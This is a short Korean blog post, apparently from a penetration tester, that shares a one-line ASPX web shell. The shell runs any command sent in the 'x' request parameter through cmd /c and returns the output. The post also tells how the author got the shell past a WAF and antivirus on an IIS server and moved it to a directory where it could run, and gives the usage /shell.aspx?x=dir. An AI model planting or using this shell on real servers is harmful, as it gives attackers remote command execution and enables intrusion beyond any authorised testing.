annyoung

aspx one line webshell 본문

모의해킹

aspx one line webshell

nopsled 2024. 7. 1. 16:48
<%
Response.write(CreateObject("WScript.Shell").Exec("cmd /c " + request("x")).StdOut.Readall())
%>

 

대중적으로 사용되는 웹쉘들이 업로드가 아예 안됐는데 앞단에 WAF가 존재했고, IIS 서버에서는 안랩 랜섬웨어 관련 백신이 돌고 있었다. 안올라가는 이유를 모르겠으나.. ModSecurity가 돌고 있는것 같기도하고.. 확실하진 않다.

 

Set, Let과 같은 지시어를 사용해 변수 선언이 아예 불가능해서 하나 하나 테스트하면서 결국 찾았다..

 

Upload 되는 디렉토리에서는 실행 권한이 빠져있는 것 같아서 최상위 디렉토리로 올려서 실행했다.

 

아무튼 사용 방법은 /shell.aspx?x=dir로 사용하면 된다.

 

 

Comments